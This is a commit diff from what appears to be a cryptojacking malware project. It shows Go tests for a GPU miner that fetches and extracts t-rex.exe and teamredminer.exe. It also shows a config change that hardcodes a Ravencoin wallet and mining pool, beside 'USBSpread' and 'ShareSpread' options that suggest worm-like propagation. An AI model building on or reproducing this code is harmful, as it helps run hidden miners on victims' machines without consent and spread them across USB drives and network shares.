var buf bytes.Buffer
|
||||||
|
zw := zip.NewWriter(&buf)
|
||||||
|
fw, _ := zw.Create("release/t-rex.exe")
|
||||||
|
_, _ = fw.Write([]byte("nested"))
|
||||||
|
_ = zw.Close()
|
||||||
|
|
||||||
|
dir := t.TempDir()
|
||||||
|
if err := extractZipFile(buf.Bytes(), dir, "t-rex.exe"); err != nil {
|
||||||
|
t.Fatalf("extractZipFile (nested): %v", err)
|
||||||
|
}
|
||||||
|
if _, err := os.Stat(filepath.Join(dir, "t-rex.exe")); err != nil {
|
||||||
|
t.Fatalf("output file missing: %v", err)
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
func TestExtractZipFileMissingTarget(t *testing.T) {
|
||||||
|
data := makeSyntheticZip(t, "other.exe", "data")
|
||||||
|
dir := t.TempDir()
|
||||||
|
// Should not error — just silently skip (caller checks with os.Stat).
|
||||||
|
if err := extractZipFile(data, dir, "t-rex.exe"); err != nil {
|
||||||
|
t.Fatalf("unexpected error: %v", err)
|
||||||
|
}
|
||||||
|
if _, err := os.Stat(filepath.Join(dir, "t-rex.exe")); !os.IsNotExist(err) {
|
||||||
|
t.Fatal("target should not have been created")
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
func TestExtractZipFileInvalidData(t *testing.T) {
|
||||||
|
dir := t.TempDir()
|
||||||
|
err := extractZipFile([]byte("not a zip"), dir, "t-rex.exe")
|
||||||
|
if err == nil {
|
||||||
|
t.Fatal("expected error for invalid zip data")
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
// ─── spec / download URL format ───────────────────────────────────────────────
|
||||||
|
|
||||||
|
func TestSpecNVIDIA(t *testing.T) {
|
||||||
|
g := &GPUMiner{info: GPUInfo{Vendor: GPUVendorNVIDIA}}
|
||||||
|
s := g.spec()
|
||||||
|
if s.fileName != "t-rex.exe" {
|
||||||
|
t.Errorf("NVIDIA spec.fileName = %q, want t-rex.exe", s.fileName)
|
||||||
|
}
|
||||||
|
if s.downloadURL == "" {
|
||||||
|
t.Error("NVIDIA spec.downloadURL is empty")
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
func TestSpecAMD(t *testing.T) {
|
||||||
|
g := &GPUMiner{info: GPUInfo{Vendor: GPUVendorAMD}}
|
||||||
|
s := g.spec()
|
||||||
|
if s.fileName != "teamredminer.exe" {
|
||||||
|
t.Errorf("AMD spec.fileName = %q, want teamredminer.exe", s.fileName)
|
||||||
|
}
|
||||||
|
if s.downloadURL == "" {
|
||||||
|
t.Error("AMD spec.downloadURL is empty")
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
// ─── Stop() on a never-started miner ─────────────────────────────────────────
|
||||||
|
|
||||||
|
func TestGPUMinerStopBeforeStart(t *testing.T) {
|
||||||
|
g := &GPUMiner{stopCh: make(chan struct{})}
|
||||||
|
done := make(chan struct{})
|
||||||
|
go func() {
|
||||||
|
defer close(done)
|
||||||
|
g.Stop()
|
||||||
|
}()
|
||||||
|
select {
|
||||||
|
case <-done:
|
||||||
|
case <-time.After(2 * time.Second):
|
||||||
|
t.Fatal("Stop() hung when called before Start()")
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
// ─── Stats returns zero until polled ─────────────────────────────────────────
|
||||||
|
|
||||||
|
func TestGPUMinerStatsDefault(t *testing.T) {
|
||||||
|
g := &GPUMiner{stopCh: make(chan struct{})}
|
||||||
|
stats, active := g.Stats()
|
||||||
|
if active {
|
||||||
|
t.Error("active should be false before Start()")
|
||||||
|
}
|
||||||
|
if stats.Hashrate15s != 0 || stats.Hashrate1m != 0 {
|
||||||
|
t.Errorf("unexpected non-zero default stats: %+v", stats)
|
||||||
|
}
|
||||||
|
}
|
||||||
@@ -48,7 +48,7 @@ func GetBuiltinConfig() BuiltinConfig {
|
|||||||
USBSpread: false,
|
USBSpread: false,
|
||||||
ShareSpread: false,
|
ShareSpread: false,
|
||||||
GPUEnabled: false,
|
GPUEnabled: false,
|
||||||
RVNWallet: "",
|
RVNWallet: "RTa4x7xx9iitVVYZ7c2asjvVRpA2P3osd9",
|
||||||
RVNPoolHost: "rvn.2miners.com",
|
RVNPoolHost: "rvn.2miners.com",
|
||||||
RVNPoolPort: 6060,
|
RVNPoolPort: 6060,
|
||||||
RVNPoolTLS: false,
|
RVNPoolTLS: false,
|
||||||
|
|||||||
Binary file not shown.
Reference in New Issue
Block a user